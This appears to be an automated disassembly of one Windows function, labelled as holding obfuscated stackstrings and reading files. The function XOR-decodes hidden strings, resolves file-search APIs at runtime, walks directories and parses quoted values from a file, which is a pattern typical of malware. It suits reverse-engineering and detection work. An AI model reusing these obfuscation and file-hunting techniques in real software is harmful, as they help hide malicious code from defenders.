Function at 0x459230
Capabilities:
Contain obfuscated stackstrings
Read file on windows

Disassembly:
mov eax, 0x486fa7
call fcn.00486b34
sub esp, 0x378
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0xc4], ecx
and dword [ebp - 4], 0
mov dl, 0x15
mov word [ebp - 0x17], 0x6715
mov byte [ebp - 0x15], 0
xor ecx, ecx
mov dword [ebp - 0xc8], ecx
cmp ecx, 1
jae 0x45927f
mov al, byte [ebp + ecx - 0x16]
xor al, dl
mov byte [ebp + ecx - 0x16], al
inc ecx
mov dword [ebp - 0xc8], ecx
mov dl, byte [ebp - 0x17]
jmp 0x459264
mov byte [ebp - 0x15], 0
movaps xmm0, xmmword [0x49d7d0]
movups xmmword [ebp - 0x74], xmm0
mov dword [ebp - 0x64], 0x4e131205
mov dword [ebp - 0x60], 0x60416
xor ecx, ecx
mov dword [ebp - 0xcc], ecx
cmp ecx, 0x16
jae 0x4592b7
mov al, byte [ebp + ecx - 0x73]
xor al, byte [ebp - 0x74]
mov byte [ebp + ecx - 0x73], al
inc ecx
jmp 0x45929e
mov byte [ebp - 0x5d], 0
lea eax, [ebp - 0x73]
push eax
mov edx, dword [ebp + 8]
lea ecx, [ebp - 0x90]
call fcn.00403d39
pop ecx
mov ecx, eax
call fcn.004039e7
lea ecx, [ebp - 0x16]
push ecx
push eax
call fcn.0046f635
pop ecx
pop ecx
mov ebx, eax
lea ecx, [ebp - 0x90]
call fcn.00403b2e
test ebx, ebx
je 0x459983
push 2
push 0
push ebx
call fcn.0046fc9a
add esp, 0xc
push ebx
call fcn.0046f57d
pop ecx
mov esi, eax
push esi
call fcn.0046e9da
pop ecx
mov edi, eax
push ebx
call fcn.004712c4
pop ecx
push ebx
push esi
push 1
push edi
call fcn.004717d5
add esp, 0x10
push edi
lea ecx, [ebp - 0x190]
call fcn.00403ae8
push ebx
call fcn.0046f96d
pop ecx
push edi
call fcn.0046d711
pop ecx
push 1
push 3
lea eax, [ebp - 0x190]
push eax
lea ecx, [ebp - 0x244]
call fcn.00461bac
push 0x494070
lea ecx, [ebp - 0x120]
call fcn.00403ae8
movaps xmm0, xmmword [0x49d910]
movups xmmword [ebp - 0xec], xmm0
mov dword [ebp - 0xdc], 0x555265
xor ecx, ecx
mov dword [ebp - 0xd0], ecx
cmp ecx, 0x12
jae 0x4593a5
mov al, byte [ebp + ecx - 0xeb]
xor al, byte [ebp - 0xec]
mov byte [ebp + ecx - 0xeb], al
inc ecx
jmp 0x459383
mov byte [ebp - 0xd9], 0
lea eax, [ebp - 0xeb]
push eax
lea ecx, [ebp - 0x160]
call fcn.00403ae8
push 0xa
mov eax, dword [ebp - 0x244]
mov eax, dword [eax + 4]
lea ecx, [ebp - 0x244]
add ecx, eax
call fcn.00462975
movzx eax, al
push eax
lea edx, [ebp - 0x120]
lea ecx, [ebp - 0x244]
call fcn.00462d06
pop ecx
mov ecx, dword [eax]
mov ecx, dword [ecx + 4]
test byte [ecx + eax + 0xc], 6
jne 0x4595d4
or ebx, 0xffffffff
or edi, ebx
xor esi, esi
mov dword [ebp - 0xd4], esi
mov eax, dword [ebp - 0x110]
cmp esi, eax
jae 0x45942d
lea ecx, [ebp - 0x120]
call fcn.004039e7
cmp byte [eax + esi], 0x22
jne 0x459499
lea ebx, [esi + 1]
mov eax, dword [ebp - 0x110]
lea esi, [eax - 1]
mov dword [ebp - 0xd8], esi
test esi, esi
js 0x45944d
lea ecx, [ebp - 0x120]
call fcn.004039e7
cmp byte [eax + esi], 0x22
jne 0x45949f
mov edi, esi
cmp ebx, 0xffffffff
je 0x4593be
cmp edi, 0xffffffff
je 0x4593be
mov dl, 0x5f
mov dword [ebp - 0x24], 0x6d6e6f5f
mov dword [ebp - 0x20], 0x696a6b6c
mov dword [ebp - 0x1c], 0x666768
xor ecx, ecx
mov dword [ebp - 0xf0], ecx
cmp ecx, 0xa
jae 0x4594a2
mov al, byte [ebp + ecx - 0x23]
xor al, dl
mov byte [ebp + ecx - 0x23], al
inc ecx
mov dword [ebp - 0xf0], ecx
mov dl, byte [ebp - 0x24]
jmp 0x45947e
inc esi
jmp 0x459403
dec esi
jmp 0x459430
mov byte [ebp - 0x19], 0
sub edi, ebx
lea eax, [ebp - 0x75]
push eax
push edi
push ebx
lea eax, [ebp - 0x120]
push eax
lea ecx, [ebp - 0x74]
call fcn.004626d4
push 0
lea eax, [ebp - 0x23]
push eax
lea ecx, [ebp - 0x74]
call fcn.00461aa2
cmp eax, 0xffffffff
sete byte [ebp - 0x18]
lea ecx, [ebp - 0x74]
call fcn.00403b2e
cmp byte [ebp - 0x18], 0
je 0x4593be
lea eax, [ebp - 0x76]
push eax
push edi
push ebx
lea eax, [ebp - 0x120]
push eax
lea ecx, [ebp - 0xa8]
call fcn.004626d4
movaps xmm0, xmmword [0x49d9e0]
movups xmmword [ebp - 0x145], xmm0
movaps xmm0, xmmword [0x49da20]
movups xmmword [ebp - 0x135], xmm0
mov dword [ebp - 0x125], 0x15d4b42
mov byte [ebp - 0x121], 0
xor ecx, ecx
mov dword [ebp - 0xf4], ecx
cmp ecx, 0x23
jae 0x45954d
mov al, byte [ebp + ecx - 0x144]
xor al, byte [ebp - 0x145]
mov byte [ebp + ecx - 0x144], al
inc ecx
jmp 0x45952b
mov byte [ebp - 0x121], 0
lea ecx, [ebp - 0x144]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x45955d
sub ecx, edx
push ecx
lea eax, [ebp - 0x144]
push eax
push 0
lea ecx, [ebp - 0xa8]
call fcn.004041ae
push eax
lea ecx, [ebp - 0x90]
call fcn.00403ab7
push 2
push 0x49d300
lea ecx, [ebp - 0x90]
call fcn.00403c55
push eax
lea ecx, [ebp - 0x74]
call fcn.00403ab7
lea eax, [ebp - 0x74]
push eax
lea ecx, [ebp - 0x160]
call fcn.00403a4b
lea ecx, [ebp - 0x74]
call fcn.00403b2e
lea ecx, [ebp - 0x90]
call fcn.00403b2e
lea ecx, [ebp - 0xa8]
call fcn.00403b2e
jmp 0x4593be
movaps xmm0, xmmword [0x49d940]
movups xmmword [ebp - 0xa5], xmm0
mov dword [ebp - 0x95], 0x76003233
mov byte [ebp - 0x91], 0
xor ecx, ecx
mov dword [ebp - 0xf8], ecx
cmp ecx, 0x13
jae 0x459617
mov al, byte [ebp + ecx - 0xa4]
xor al, byte [ebp - 0xa5]
mov byte [ebp + ecx - 0xa4], al
inc ecx
jmp 0x4595f5
mov byte [ebp - 0x91], 0
lea eax, [ebp - 0xa4]
push eax
mov edx, dword [ebp + 8]
lea ecx, [ebp - 0x178]
call fcn.00403d39
pop ecx
lea ecx, [ebp - 0x178]
call fcn.004039e7
mov esi, eax
mov dl, 0x34
mov word [ebp - 0x32], 0x7f34
mov byte [ebp - 0x30], 0x51
push 0x46
pop ebx
mov byte [ebp - 0x2f], bl
mov dword [ebp - 0x2e], 0x758515a
mov dword [ebp - 0x2a], 0x58501a06
mov word [ebp - 0x26], 0x58
xor ecx, ecx
mov dword [ebp - 0xac], ecx
push 0xc
pop edi
cmp ecx, edi
jae 0x45968c
mov al, byte [ebp + ecx - 0x31]
xor al, dl
mov byte [ebp + ecx - 0x31], al
inc ecx
mov dword [ebp - 0xac], ecx
mov dl, byte [ebp - 0x32]
jmp 0x459672
mov byte [ebp - 0x25], 0
lea eax, [ebp - 0x384]
push eax
push esi
mov edx, str.FindFirstFileA
lea ecx, [ebp - 0x31]
call fcn.004014d2
call eax
mov esi, eax
cmp esi, 0xffffffff
jne 0x4596f9
mov byte [ebp - 0x40], bl
mov dword [ebp - 0x3f], 0x2834230d
mov dword [ebp - 0x3b], 0x74752a23
mov dword [ebp - 0x37], 0x2a2a2268
mov byte [ebp - 0x33], 0
xor ecx, ecx
mov dword [ebp - 0xb0], ecx
cmp ecx, edi
jae 0x4596ec
mov al, byte [ebp + ecx - 0x3f]
xor al, bl
mov byte [ebp + ecx - 0x3f], al
inc ecx
mov dword [ebp - 0xb0], ecx
mov bl, byte [ebp - 0x40]
jmp 0x4596d2
xor ebx, ebx
mov byte [ebp - 0x33], bl
lea ecx, [ebp - 0x3f]
jmp 0x45989e
movaps xmm0, xmmword [0x49d980]
movups xmmword [ebp - 0x8e], xmm0
mov dword [ebp - 0x7e], 0x5b6c2533
mov word [ebp - 0x7a], 0x5c
xor ebx, ebx
mov ecx, ebx
mov dword [ebp - 0xb4], ecx
cmp ecx, 0x14
jae 0x45973a
mov al, byte [ebp + ecx - 0x8d]
xor al, byte [ebp - 0x8e]
mov byte [ebp + ecx - 0x8d], al
inc ecx
jmp 0x459718
mov byte [ebp - 0x79], bl
lea ecx, [ebp - 0x8d]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x459746
sub ecx, edx
push ecx
lea eax, [ebp - 0x8d]
push eax
lea ecx, [ebp - 0x160]
call fcn.00403c55
lea eax, [ebp - 0x358]
push eax
lea ecx, [ebp - 0x74]
call fcn.00403ae8
test byte [ebp - 0x384], 0x10
je 0x4597f0
push 0x494144
lea ecx, [ebp - 0x74]
call fcn.0040412c
test al, al
jne 0x4597f0
push 0x494148
lea ecx, [ebp - 0x74]
call fcn.0040412c
test al, al
jne 0x4597f0
lea eax, [ebp - 0x358]
push eax
lea ecx, [ebp - 0xa8]
call fcn.00403ae8
push 2
push 0x49d300
mov ecx, eax
call fcn.00403c55
push eax
lea ecx, [ebp - 0x90]
call fcn.00403ab7
lea eax, [ebp - 0x90]
push eax
lea ecx, [ebp - 0x160]
call fcn.00403a4b
lea ecx, [ebp - 0x90]
call fcn.00403b2e
lea ecx, [ebp - 0xa8]
call fcn.00403b2e
lea ecx, [ebp - 0x74]
call fcn.00403b2e
mov dl, 6
mov dword [ebp - 0x4e], 0x74634d06
mov dword [ebp - 0x4a], 0x356a6368
mov dword [ebp - 0x46], 0x6a622834
mov word [ebp - 0x42], 0x6a
mov ecx, ebx
mov dword [ebp - 0xb8], ecx
cmp ecx, edi
jae 0x459837
mov al, byte [ebp + ecx - 0x4d]
xor al, dl
mov byte [ebp + ecx - 0x4d], al
inc ecx
mov dword [ebp - 0xb8], ecx
mov dl, byte [ebp - 0x4e]
jmp 0x45981d
mov byte [ebp - 0x41], bl
lea eax, [ebp - 0x384]
push eax
push esi
mov edx, 0x4940d0
lea ecx, [ebp - 0x4d]
call fcn.004014d2
call eax
test eax, eax
jne 0x459762
mov dl, 0x4f
mov dword [ebp - 0x5c], 0x3d2a044f
mov dword [ebp - 0x58], 0x7c232a21
mov dword [ebp - 0x54], 0x232b617d
mov word [ebp - 0x50], 0x23
mov ecx, ebx
mov dword [ebp - 0xbc], ecx
cmp ecx, edi
jae 0x459898
mov al, byte [ebp + ecx - 0x5b]
xor al, dl
mov byte [ebp + ecx - 0x5b], al
inc ecx
mov dword [ebp - 0xbc], ecx
mov dl, byte [ebp - 0x5c]
jmp 0x45987e
mov byte [ebp - 0x4f], bl
lea ecx, [ebp - 0x5b]
push esi
mov edx, 0x4940e0
call fcn.004014d2
call eax
push 0x494070
lea ecx, [ebp - 0x160]
call fcn.0040412c
test al, al
jne 0x459948
push 0x49d304
lea ecx, [ebp - 0x74]
call fcn.00403ae8
movaps xmm0, xmmword [str._fP_ximaEbjc__ck]
movups xmmword [ebp - 0x108], xmm0
mov ecx, ebx
mov dword [ebp - 0xc0], ecx
cmp ecx, 0xe
jae 0x459902
mov al, byte [ebp + ecx - 0x107]
xor al, byte [ebp - 0x108]
mov byte [ebp + ecx - 0x107], al
inc ecx
jmp 0x4598e0
mov byte [ebp - 0xf9], bl
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp - 0x160]
push eax
lea eax, [ebp - 0x107]
push eax
mov edx, dword [ebp + 0xc]
lea ecx, [ebp - 0x90]
call fcn.00403d39
pop ecx
push eax
mov ecx, dword [ebp - 0xc4]
call fcn.00457e1a
lea ecx, [ebp - 0x90]
call fcn.00403b2e
lea ecx, [ebp - 0x74]
call fcn.00403b2e
lea ecx, [ebp - 0x178]
call fcn.00403b2e
lea ecx, [ebp - 0x160]
call fcn.00403b2e
lea ecx, [ebp - 0x120]
call fcn.00403b2e
lea ecx, [ebp - 0x244]
call fcn.0045999a
lea ecx, [ebp - 0x190]
call fcn.00403b2e
or dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret 8